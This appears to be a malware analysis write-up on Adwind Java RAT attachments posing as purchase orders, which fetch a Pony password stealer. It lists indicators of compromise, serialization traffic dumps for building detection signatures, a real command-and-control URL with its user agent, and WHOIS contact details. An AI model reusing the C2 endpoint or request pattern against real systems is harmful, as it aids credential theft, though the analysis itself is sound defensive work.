Kingdom of Saudi Arabia
Content-Type: application/java-archive; name="Purchase Order.jar"
Content-Description: Purchase Order.jar
Content-Disposition: attachment; size=125985; filename="Purchase Order.jar"
Content-Transfer-Encoding: base64

File paths
%USERPROFILE%\Application Data\jcwDpUEpCh\Desktop.ini
%USERPROFILE%\Application Data\jcwDpUEpCh\LcuSMagrlF.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\3884
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor267205042636993976.reg

File types
Desktop.ini (.txt) "Text file"
index.dat (.txt) "Text file"
LcuSMagrlF.txt (.zip) "PKZIP Compressed"
TaskNetworkGathor267205042636993976.reg (.txt) "Text file"
tem.txt (.txt) "Text file"
VblVc5kEqY.tmp (.txt) "Text file"

MD5 list
Desktop.ini     e783bdd20a976eaeaae1ff4624487420
index.dat       b431d50792262b0ef75a3d79a4ca4a81
LcuSMagrlF.txt  79e9dd35aef6558461c4b93cd0c55b76
79e9dd35aef6558461c4b93cd0c55b76.malware       79e9dd35aef6558461c4b93cd0c55b76
TaskNetworkGathor267205042636993976.reg        6486acf0ca96ecdc981398855255b699 << Strings are here
tem.txt         d41d8cd98f00b204e9800998ecf8427e
VblVc5kEqY.tmp  b5c6ea9aaf042d88ee8cd61ec305880b

B2856B11FF23D35DA2C9C906C61781BA Purchase Order.jar
File paths
%USERPROFILE%\Application Data\Sys32\Desktop.ini
%USERPROFILE%\Application Data\Sys32\Windows.jar.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\1132
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor7441169770678304780.reg
deleted_files\%USERPROFILE%\Local Settings\History\History.IE5\MSHist012013110920131110\index.dat


File type list
Desktop.ini (.txt) "Text file"
DFRA.tmp (.txt) "Text file"
index.dat (.txt) "Text file"
TaskNetworkGathor7441169770678304780.reg (.txt) "Text file"
tem (.txt) "Text file"
Windows.jar.txt (.zip) "PKZIP Compressed"

WWMI853JfC.tmp (.txt) "Text file"

MD5 list
Desktop.ini     e783bdd20a976eaeaae1ff4624487420
DFRA.tmp        d41d8cd98f00b204e9800998ecf8427e
index.dat       b431d50792262b0ef75a3d79a4ca4a81
purchase.jar    b2856b11ff23d35da2c9c906c61781ba
TaskNetworkGathor7441169770678304780.reg       311af3b9a52ffc58f46ad83afb1e93b6
tem             d41d8cd98f00b204e9800998ecf8427e
Windows.jar.txt b2856b11ff23d35da2c9c906c61781ba
WWMI853JfC.tmp  8e222c61fc55c230407ef1eb21a7daa9

Traffic Information

Java Serialization Protocol traffic info

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - Windows XP
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 2a 1f 8b  08 00 00 00 00 00 00 00 xp...*.. ........
00000025  6d 54 dd 8e d3 46 18 1d  12 16 b2 bb 59 40 fc 5d mT...F.. ....Y@.]
00000035  bb 52 2b 71 83 d7 76 1c  3b a1 12 10 58 16 36 2c .R+q..v. ;...X.6,
00000045  14 95 56 1b 24 4b d6 17  7b 9c cc 66 3c e3 ce 8c ..V.$K.. {..f<...
00000055  d7 a6 17 7d 8e 3e 44 1f  a0 12 2f c1 43 f4 b6 ef ...}.>D. ../.C...
00000065  d0 cf 6c 76 1d 2a 22 d9  19 7b be 9f 73 be 73 c6 ..lv.*". .{..s.s.
00000075  7f fd 4b b6 b4 22 77 4f  e1 0c ec d2 30 6e bf 53 ..K.."wO ....0n.S

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - OSX Lion
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 33 1f 8b  08 00 00 00 00 00 00 00 xp...3.. ........
00000025  75 54 cd 6e db 46 10 de  c8 b5 2d ff 26 c8 1f 7a uT.n.F.. ..-.&..z
00000035  54 0f 45 7b d1 92 5c d1  94 89 02 4d 94 c0 b1 a5 T.E{..\. ...M....
00000045  d8 4d 51 23 89 73 22 56  dc a5 b5 16 b9 cb ec 2e .MQ#.s"V ........

B2856B11FF23D35DA2C9C906C61781BA on Windows XP
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 63 1f 8b  08 00 00 00 00 00 00 00 xp...c.. ........
00000025  6d 54 5d 6e db 46 10 de  48 91 2d db 8a 13 24 41 mT]n.F.. H.-...$A
00000035  fa ca 3e 14 08 0a 84 e6  bf a4 16 68 9a c4 75 1b ..>..... ...h..u.
00000045  c3 6e 0d b8 85 13 80 00  31 22 57 d2 5a e4 ee 76 .n...... 1"W.Z..v

79E9DD35AEF6558461C4B93CD0C55B76 - Windows XP
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 69 1f 8b  08 00 00 00 00 00 00 00 xp...i.. ........
00000025  6d 54 dd 6e db 36 14 66  ed fc 38 89 9b 16 ed d0 mT.n.6.f ..8.....
00000035  de 6a 17 03 8a 01 53 28  d9 92 ed 0d e8 d6 34 71 .j....S( ......4q

00000045  b6 c0 19 02 64 69 3b c0  80 70 2c d1 36 6d 4a 62 ....di;. .p,.6mJb

Serialization Protocol decoding:

The following fields are part of the serialization protocol and are 'benign" and common.

AC ED (¬í) - Java Serialization protocol magic STREAM_MAGIC = (short)0xaced. 
00 05    -  Serialization Version STREAM_VERSION
75    (u) - Specifies that this is a new array - newArray: TC_ARRAY
72          (r) -  Specifies that this is a new class - newClassDesc: TC_CLASSDESC
00 02        - Length of the class name
5B 42 AC F3 17 F8 06 08 54 E0 ([B¬ó.ø..Tà) This is a Serial class name and version identifier section but data appears to be encrypted
02 00   - Is Serializable Flag - SC_SERIALIZABLE 
78 70  (xp)  - some low-level information identifying serialized fields
1f 8b 08 00 00 00 00 00 00 00 - GZIP header as seen in the serialization stream

As you see, all Windows traffic captures have identical fields  following the GZIP stream, while OSX traffic has different data. The jar files that had Pony Downloader payload did not have other OSX malware packaged and I saw no activity on OSX other than calling the C2 and writing to the randomly named timestamp file (e.g VblVc5kEqY.tmp - updating current timestamp in Unix epoch format)

Combination of the Stream Magic exchange, plus all other benign fields in this order will create a usable signature. However, it will be prone to false positives unless you use fields after the GZIP header for OS specific signatures

Another signature can be based on the transfer. jar download as seen below

DB46ADCFAE462E7C475C171FBE66DF82  - downloading fab8de636d6f1ec93eeecaade8b9bc68 
iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) , which contains 15555.jar in Manifest.mf, which contains 15555.exe (Pony loader) in its' Manfest.mf

IHEAKA _000C297  << IHEAKA is the name of the RAT client, it is different in each infection.

00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  77 04                                            w.
00000006  00 00 00 01                                      ....
0000000A  77 15                                            w.
0000000C  00 13 49 48 45 41 4b 41  5f 30 30 30 43 32 39 37 ..IHEAKA _000C297
0000001C  42 41 38 44 41                                   BA8DA
    00000004  77 0e 00 0c 54 72 61 6e  73 66 65 72 2e 6a 61 72 w...Tran sfer.jar
    00000014  7a 00 00 04 00 50 4b 03  04 14 00 08 08 08 00 46 z....PK. .......F
    00000024  0c 71 45 00 00 00 00 00  00 00 00 00 00 00 00 14 .qE..... ........
    00000034  00 04 00 4d 45 54 41 2d  49 4e 46 2f 4d 41 4e 49 ...META- INF/MANI
    00000044  46 45 53 54 2e 4d 46 fe  ca 00 00 4d 8d 4d 0b c2 FEST.MF. ...M.M..

---- snip----

000ABBA0  00 09 00 00 00 31 35 35  35 35 2e 6a 61 72 74 97 .....155 55.jart.
    000ABBB0  43 70 26 8c a2 44 63 db  9c d8 b6 9d 7c b1 6d db Cp&..Dc. ....|.m.
    000ABBC0  c6 c4 b6 6d db b6 6d db  99 d8 76 f2 fe e5 dd bc ...m..m. ..v.....

Pony downloader traffic

 HTTP requests
URL: http://meetngreetindia.com/scala/gate.php
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
URL: http://meetngreetindia.com/scala/gate.php
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
 DNS requests
meetngreetindia.com (
 TCP connections

Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing


IP-Domain Information
DB46ADCFAE462E7C475C171FBE66DF82 paymentadvice.jar 
Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver

meetngreetindia.com (
 TCP connections
Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing

79E9DD35AEF6558461C4B93CD0C55B76 Purchase order.jar
Decimal: 643402232
ISP: Cogent Communications
Country: United States us flag

2856B11FF23D35DA2C9C906C61781BA Purchase order.jar
IP Address:
Country:      Switzerland
Network Name: CH-DATASOURCE-20130812
Owner Name:   Datasource AG
From IP:
To IP:
Allocated:    Yes
Contact Name: Rolf Tschumi
Address:      mgw online service, Roetihalde 12, CH-8820 Waedenswil
Email:        rolf.tschumi@mgw.ch
Abuse Email:  abuse@softplus.net


https://www.virustotal.com/en/file/02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45/analysis/SHA256: 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
MD5 db46adcfae462e7c475c171fbe66df82
SHA1 2b43211053d00147b2cb9847843911c771fd3db4
SHA256 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
File size 128.1 KB ( 131178 bytes )
File type ZIP
Magic literalZip archive data, at least v2.0 to extract
TrID ZIP compressed archive (100.0%)
File name: Payment Advice.jar
Detection ratio: 6 / 54
Analysis date: 2014-11-16 20:58:08 UTC ( 1 day, 4 hours ago )
Ikarus Trojan.Java.Adwind 20141116
TrendMicro JAVA_ADWIND.XXO 20141116
TrendMicro-HouseCall JAVA_ADWIND.XXO 20141116
DrWeb Java.Adwind.3 20141116
Kaspersky HEUR:Trojan.Java.Generic 20141116
ESET-NOD32 a variant of Java/Adwind.T 20141116

SHA256: 733c037f886d91b6874ac4a2de5b32ca1e7f7f992928b01579b76603b233110c
MD5 fab8de636d6f1ec93eeecaade8b9bc68
File name: iWimMQLgpsT2624529381479181764.png
Detection ratio: 23 / 53
Analysis date: 2014-11-17 03:23:15 UTC ( 0 minutes ago )
AVG Zbot.URE 20141116
Qihoo-360 Win32/Trojan.fff 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Fortinet W32/Inject.SXVW!tr 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141117
AVware Trojan.Win32.Generic!BT 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
Symantec Trojan.Maljava 20141117
McAfee RDN/Generic Exploit!1m3 20141117
McAfee-GW-Edition RDN/Generic Exploit!1m3 20141117
Sophos Mal/JavaJar-A 20141117
Avast Java:Malware-gen [Trj] 20141117
Cyren Java/Agent.KS 20141117
F-Prot Java/Agent.KS 20141117
Kaspersky HEUR:Trojan.Java.Generic 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
BitDefender Gen:Variant.Kazy.494557 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Ikarus Exploit.Java.Agent 20141117
Norman Adwind.E 20141116

MD5 b5e7cd42b45f8670adaf96bbca5ae2d0
SHA256: 91d71b06c99fe25271ba19c1c47c2d1ba85e78c2d7d5ae74e97417dc958dc725
File name: asdqw4727319084772952101234.exe
Detection ratio: 12 / 54
Analysis date: 2014-11-17 03:21:30 UTC
AVG Zbot.URE 20141116
AVware Trojan.Win32.Generic!BT 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141116
BitDefender Gen:Variant.Kazy.494557 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Qihoo-360 Win32/Trojan.fff 20141117

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